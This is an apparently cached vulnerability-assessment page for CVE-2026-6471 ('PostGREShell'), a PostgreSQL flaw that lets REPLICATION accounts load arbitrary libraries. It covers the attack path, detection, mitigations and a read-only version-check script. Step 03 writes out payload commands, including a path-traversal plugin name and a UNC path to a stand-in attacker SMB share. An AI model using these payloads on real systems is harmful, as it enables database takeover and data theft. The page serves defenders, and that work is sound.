← Back to Feed CACHED · 2026-10-08 06:26:28 · CACHE_KEY CVE-2026-6471
CVE-2026-6471 · CWE-862 · Disclosed 2026-08-13

PostgreSQL Logical Decoding Arbitrary Library Loading via REPLICATION Privilege (PostGREShell)

ASSESSED — NOISGATE
Vendor
—
—
—
Reassessed
—
—
—
Verdict: —
Do you agree?
01 · The Real Story

Like leaving the loading dock unlocked because the guard only checks the front door

CVE-2026-6471 (PostGREShell) exploits a missing authorization check in PostgreSQL's logical decoding plugin loader. Since version 9.4 (2014), when a user with REPLICATION privilege creates a logical replication slot, the server passes the plugin name directly to dlopen() without validating whether it points to a trusted library. The attacker supplies a filesystem path — or on Windows, a UNC path to an attacker-controlled SMB share — as the plugin name, and PostgreSQL loads the malicious shared object into its own process. From there, the code modifies pg_authid to escalate to permanent superuser, rewrites pg_hba.conf for passwordless remote access, and optionally registers in shared_preload_libraries for restart persistence. Affected versions: PostgreSQL 9.4 through 18.5, 17.10, 16.14, 15.18, 14.23. Fixed in 18.6, 17.11, 16.15, 15.19, 14.24.

PostgreSQL scored this 7.2 HIGH, driven by PR:H — the attacker needs REPLICATION privilege, which is not granted by default. That framing is technically honest but strategically incomplete. PostgreSQL is a canonical production database engine: the majority of installs hold regulated or business-critical data, and any deployment using logical replication, CDC tools (Debezium, pglogical), or read replicas has at least one account with REPLICATION. Public PoC code exists on GitHub, the flaw sat unpatched for 12 years across five supported major branches, and the blast radius on a production data tier is mass data egress plus OS-level persistence. The vendor severity underweights the deployment-role multiplier.

"Replication accounts can load arbitrary code into PostgreSQL — on prod data tiers, that means full exfil and OS persistence."
02 · The Attack Path

5 steps from start to impact.

STEP 01

Obtain REPLICATION credentials

The attacker compromises or is issued a PostgreSQL account with the REPLICATION attribute. This can come from credential stuffing against exposed instances, stolen connection strings from application config/environment variables, or an insider with legitimate CDC/replication duties.
Conditions required:
  • PostgreSQL instance reachable over the network
  • At least one role with REPLICATION exists in the cluster
Where this breaks in practice:
  • REPLICATION is not default — only purpose-built accounts carry it; typical clusters have 1–3 such accounts
  • Cloud-managed PostgreSQL (RDS, Cloud SQL, Azure Database) often restricts replication slot creation APIs
Detection/coverage: Failed auth attempts in pg_log; anomalous source IPs for replication connections visible in pg_stat_activity and pg_stat_replication.
STEP 02

Verify logical decoding is enabled

The attacker confirms wal_level = logical by querying SHOW wal_level or by attempting slot creation. If wal_level = replica (the default), logical replication slot creation with a custom plugin will fail. This is a hard prerequisite — without it the chain stops.
Conditions required:
  • wal_level = logical must be set (requires PostgreSQL restart to change)
Where this breaks in practice:
  • Default wal_level is replica; only environments using CDC, logical replication, or pglogical change this
  • Changing wal_level requires a restart, so the attacker cannot enable it themselves
Detection/coverage: SHOW queries logged at log_statement = all; unusual queries from replication accounts outside change windows.
STEP 03

Create malicious replication slot with crafted plugin path

The attacker issues CREATE_REPLICATION_SLOT ... LOGICAL "../../../../tmp/evil" (Linux) or CREATE_REPLICATION_SLOT ... LOGICAL "\\attacker\share\evil" (Windows UNC). The protocol parser accepts path separators, traversal sequences, and UNC paths in double-quoted plugin names, bypassing check_restricted_library_name(). Weaponized tooling: goldendivider/cve-2026-6471-postgres-logical-decoding-dlopen (GitHub PoC); Cyera's PostGREShell research exploit.
Conditions required:
  • Malicious .so/.dll must be accessible — on-disk for Linux, or via SMB/NFS for the Windows UNC variant
  • The plugin name must resolve to a valid shared library path from the server's perspective
Where this breaks in practice:
  • On hardened Linux, the attacker must first drop a file to disk — a secondary step requiring additional access
  • Egress filtering blocking SMB port 445 neutralizes the Windows UNC path variant entirely
  • SELinux/AppArmor in enforcing mode may deny dlopen() on non-standard paths
Detection/coverage: Monitor pg_replication_slots.plugin for path separators (/, \, ..) or unexpected plugin names (should only be pgoutput, test_decoding, or known third-party plugins); log CREATE_REPLICATION_SLOT events.
STEP 04

PostgreSQL loads attacker's library via dlopen()

The server calls dlopen() on the attacker-specified path and executes the library's initialization routines within the PostgreSQL backend process. Code runs as the postgres OS user with full access to shared memory, system catalogues, and the filesystem.
Conditions required:
  • The server process can read the specified path
  • No MAC policy (SELinux/AppArmor) blocks the load
Where this breaks in practice:
  • Well-configured SELinux postgresql_t domain denies loading from non-standard paths
  • Immutable container filesystems (read-only root) limit writable locations for malicious libraries
Detection/coverage: Unexpected shared libraries in /proc/<pid>/maps of the postgres process; new child processes spawned by the database; strace/auditd logging of dlopen() calls.
STEP 05

Escalate to superuser and establish persistence

The loaded plugin modifies pg_authid to set rolsuper = true on the attacker's role, rewrites pg_hba.conf to allow passwordless connections from any IP, and registers itself in shared_preload_libraries to survive restarts. The attacker now has permanent superuser access to every database on the cluster plus OS-level command execution via COPY ... PROGRAM or custom extensions.
Conditions required:
  • In-process code has full access to PostgreSQL internals — no additional prerequisites
Where this breaks in practice:
  • None once step 4 succeeds — the code runs with full process privileges
Detection/coverage: Changes to pg_authid.rolsuper on unexpected roles; modifications to pg_hba.conf and shared_preload_libraries outside change windows; outbound connections from database hosts to new destinations.
03 · Compensating Control

1
CRITICAL 8.5→HIGH 6.5
SEVERITY REDUCED
Revoke REPLICATION from all non-essential accounts — Audit with SELECT rolname, rolreplication FROM pg_roles WHERE rolreplication = true; and ALTER ROLE <name> NOREPLICATION for any account that doesn't operationally require it. Most clusters have 1–3 such accounts. This breaks the chain at step 1 for unnecessary accounts. Deploy within 3 days per the noisgate mitigation SLA for CRITICAL.
2
CRITICAL 8.5→HIGH 5.8
SEVERITY REDUCED
Lock down pg_hba.conf replication entries to specific IPs with cert auth — Replace host replication all 0.0.0.0/0 md5 with entries naming specific standby IPs and clientcert=verify-full. This prevents credential-only exploitation from arbitrary hosts. Deploy within 3 days.
3
CRITICAL 8.5→HIGH 6.8
SEVERITY REDUCED
Block outbound SMB (445) and NFS (2049) from database hosts — Implement egress firewall rules denying ports 445 and 2049 from all database servers. This neutralizes the Windows UNC path variant entirely, forcing the attacker to achieve prior file-drop access on the server. Deploy within 3 days.
4
CRITICAL 8.5→IGNORE 0.0
SEVERITY REDUCED
Set wal_level = replica if logical decoding is unused — If no application consumes logical decoding changes (Debezium, pglogical, custom CDC), set wal_level = replica in postgresql.conf and restart PostgreSQL. This completely prevents logical replication slot creation with custom plugins. Deploy within 3 days if logical decoding is confirmed unused. Requires a PostgreSQL restart.
5
CRITICAL 8.5→IGNORE 0.0
SEVERITY REDUCED
Apply vendor patch (18.6 / 17.11 / 16.15 / 15.19 / 14.24) — The patch introduces an output_plugin_libraries allow-list restricting loadable plugins to pgoutput and test_decoding by default. Third-party plugins (wal2json, decoderbufs) must be explicitly registered post-patch or logical replication will silently fail. Test the allow-list configuration in staging before production rollout. Deploy within 90 days per the noisgate remediation SLA for CRITICAL.
What doesn't work
  • Network ACLs on port 5432 alone — the attacker is already authenticated; restricting who can reach the port doesn't help if the replication account's credentials were stolen from a host that's already in the allow-list.
  • WAF or SQL injection filters — this vulnerability is exploited through the PostgreSQL replication protocol (CREATE_REPLICATION_SLOT), not through SQL injection; application-layer firewalls don't inspect streaming replication traffic.
  • Read-only replicas as isolation — the vulnerability is in the primary's logical decoding path; read replicas are not a mitigation, and a compromised replication account targets the primary directly.
04 · Intelligence Metadata

The supporting signals.

In-the-wild exploitationNo confirmed exploitation as of 2026-10-08. Not listed in CISA KEV. No GreyNoise tags observed for CVE-2026-6471.
Proof-of-conceptPublic. At least 3 GitHub repos including goldendivider/cve-2026-6471-postgres-logical-decoding-dlopen. Cyera Research Labs developed a Windows UNC-path PoC during coordinated disclosure demonstrating end-to-end exploitation. The PoC delivers a malicious shared library and creates a logical replication slot naming it as the output plugin.
EPSS0.00528 (~82nd percentile) — low modeled probability of exploitation in the next 30 days, but this predates widespread PoC availability.
KEV statusNot listed as of 2026-10-08.
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (7.2) — network-exploitable with low complexity, but requires high privilege (REPLICATION role). Full confidentiality, integrity, and availability impact. Scope unchanged.
Affected versionsPostgreSQL 9.4 through 18.5, 17.10, 16.14, 15.18, 14.23 and all prior minors within each branch. 12 years of exposure since logical decoding shipped in 9.4 (2014). EOL branches (9.4–13) receive no fix.
Fixed versions18.6, 17.11, 16.15, 15.19, 14.24 (released 2026-08-13). Distro backports: RHEL via RHSA-2026:69924, RHSA-2026:67848, RHSA-2026:69876, RHSA-2026:72363. Debian LTS via DLA-4740-1.
Internet exposureShodan: ~1.3M PostgreSQL instances on port 5432. ZoomEye (2026-09-26): ~4.7M results for port 5432. Many with weak or misconfigured authentication (0.0.0.0/0 in pg_hba.conf).
Disclosure timelineReported 2026-02-21 by Vladimir Tokarev / Cyera Research Labs. Published 2026-08-13 alongside coordinated patch release across all supported branches.
ReporterVladimir Tokarev / Cyera Research Labs — research name "PostGREShell". Demonstrated privilege escalation from REPLICATION to superuser to OS-level RCE with persistence.

Sources.

  1. PostgreSQL Official Advisory
  2. SecurityWeek: 12-Year-Old PostgreSQL Vulnerability
  3. SecPod: PostGREShell Analysis
  4. Hive Security: PostGREShell Deep Dive
  5. hard2bit: Replication Account to Code Execution
  6. Red Hat CVE-2026-6471
  7. CSA Singapore Alert AL-2026-120
  8. Debian LTS Advisory DLA-4740-1
05 · The Call

Final Verdict
↑ UPGRADED to CRITICAL (8.5/10)

Why this verdict

  • Role multiplier — production database tier: PostgreSQL is a canonical high-value component listed explicitly in the high-value-role catalog. The majority of its installed base serves production or regulated data (well above the 10% threshold). In these deployments, at least one account carries REPLICATION for HA/CDC/logical replication, and wal_level = logical is common. When the chain succeeds, the blast radius is mass data egress across all databases on the cluster plus OS-level RCE and persistent backdoor — tenant-to-host-scale compromise that meets the CRITICAL floor condition.
  • Public PoC lowers the exploitation bar: Working exploit code exists on GitHub (goldendivider/cve-2026-6471-postgres-logical-decoding-dlopen) and Cyera demonstrated end-to-end exploitation including the Windows UNC variant. An attacker with REPLICATION credentials can weaponize this in minutes, not days.
  • 12-year exposure window compounds the installed base: The flaw has existed since PostgreSQL 9.4 (2014). Every unpatched minor version across five supported major branches is vulnerable, and EOL branches (9.4–13) will never receive a fix. The accumulated population of vulnerable instances across a decade of deployments is vast.
  • PR:H is real but bounded friction: REPLICATION privilege is a genuine gate that prevents unauthenticated exploitation. However, it is routinely granted to service accounts for Debezium, pglogical, Patroni, repmgr, and other CDC/HA tools. These credentials often reside in config files, environment variables, Kubernetes secrets, or secrets managers — reachable after any adjacent compromise of the application tier.

Why not higher?

The chain cannot fire unauthenticated — REPLICATION is a specific privilege not held by application users, and wal_level = logical is not the default configuration. Cloud-managed PostgreSQL services (RDS, Cloud SQL, Azure Database for PostgreSQL) restrict replication slot creation and library loading at the platform level, significantly reducing the addressable population in cloud-heavy estates. No in-the-wild exploitation has been confirmed, and EPSS remains low at 0.00528.

Why not lower?

PostgreSQL is explicitly listed as a canonical high-value-role component (production database engine on data tiers). The outcome when the chain succeeds is mass data egress and OS-level persistence — meeting the floor condition for CRITICAL. The existence of public PoC code, the 12-year exposure window across five major branches, and the routine presence of REPLICATION accounts in production deployments all prevent downgrading past the CRITICAL floor. A generic 'requires high privilege' statement is not sufficient to break the floor when the affected component's primary deployment role is the high-value role itself.

06 · Verification

Crowdsourced verification payload.

Run on each PostgreSQL host as any OS user that can invoke psql (or as postgres). Example: bash check_cve_2026_6471.sh — no arguments needed. The script auto-detects the PostgreSQL version, wal_level, and REPLICATION role count. Requires local psql access to the database.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# check_cve_2026_6471.sh - Detect CVE-2026-6471 (PostGREShell) exposure
# Run on PostgreSQL host. Outputs: VULNERABLE / PATCHED / UNKNOWN
set -euo pipefail

RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'; NC='\033[0m'

# Attempt to get PostgreSQL version
if command -v psql &>/dev/null; then
  PG_VERSION=$(psql -t -A -c "SELECT version();" 2>/dev/null || echo "")
  PG_SERVER_NUM=$(psql -t -A -c "SHOW server_version_num;" 2>/dev/null || echo "")
  WAL_LEVEL=$(psql -t -A -c "SHOW wal_level;" 2>/dev/null || echo "unknown")
  REPL_ROLES=$(psql -t -A -c "SELECT count(*) FROM pg_roles WHERE rolreplication = true;" 2>/dev/null || echo "unknown")
elif command -v pg_config &>/dev/null; then
  PG_VERSION=$(pg_config --version 2>/dev/null || echo "")
  PG_SERVER_NUM=""
  WAL_LEVEL="unknown"
  REPL_ROLES="unknown"
else
  echo -e "${YELLOW}UNKNOWN${NC} - psql and pg_config not found on this host."
  exit 2
fi

if [ -z "$PG_SERVER_NUM" ]; then
  echo -e "${YELLOW}UNKNOWN${NC} - Could not determine PostgreSQL server version."
  echo "Detected: $PG_VERSION"
  exit 2
fi

SERVER_NUM=$((10#$PG_SERVER_NUM))

# Fixed version numbers (server_version_num format: XXYYZZ)
# 14.24=140024, 15.19=150019, 16.15=160015, 17.11=170011, 18.6=180006
VULNERABLE=0
if   [ $SERVER_NUM -ge 180000 ] && [ $SERVER_NUM -lt 180006 ]; then VULNERABLE=1
elif [ $SERVER_NUM -ge 170000 ] && [ $SERVER_NUM -lt 170011 ]; then VULNERABLE=1
elif [ $SERVER_NUM -ge 160000 ] && [ $SERVER_NUM -lt 160015 ]; then VULNERABLE=1
elif [ $SERVER_NUM -ge 150000 ] && [ $SERVER_NUM -lt 150019 ]; then VULNERABLE=1
elif [ $SERVER_NUM -ge 140000 ] && [ $SERVER_NUM -lt 140024 ]; then VULNERABLE=1
elif [ $SERVER_NUM -lt 140000 ] && [ $SERVER_NUM -ge 90400 ]; then
  # PostgreSQL 9.4 through 13.x - all vulnerable, no fix for EOL branches
  VULNERABLE=1
fi

echo "PostgreSQL server_version_num: $PG_SERVER_NUM"
echo "wal_level: $WAL_LEVEL"
echo "Roles with REPLICATION: $REPL_ROLES"
echo ""

if [ $VULNERABLE -eq 1 ]; then
  echo -e "${RED}VULNERABLE${NC} - CVE-2026-6471 (PostGREShell)"
  if [ "$WAL_LEVEL" = "logical" ]; then
    echo -e "  ${RED}EXPLOITABLE${NC} - wal_level=logical is set. Immediate risk."
  else
    echo "  wal_level=$WAL_LEVEL (not 'logical') - reduced but not eliminated risk."
  fi
  if [ "$REPL_ROLES" != "unknown" ] && [ "$REPL_ROLES" -gt 0 ]; then
    echo "  $REPL_ROLES role(s) with REPLICATION attribute found."
  fi
  echo "  Fix: upgrade to 14.24 / 15.19 / 16.15 / 17.11 / 18.6+"
  exit 1
else
  echo -e "${GREEN}PATCHED${NC} - PostgreSQL version is not affected by CVE-2026-6471."
  exit 0
fi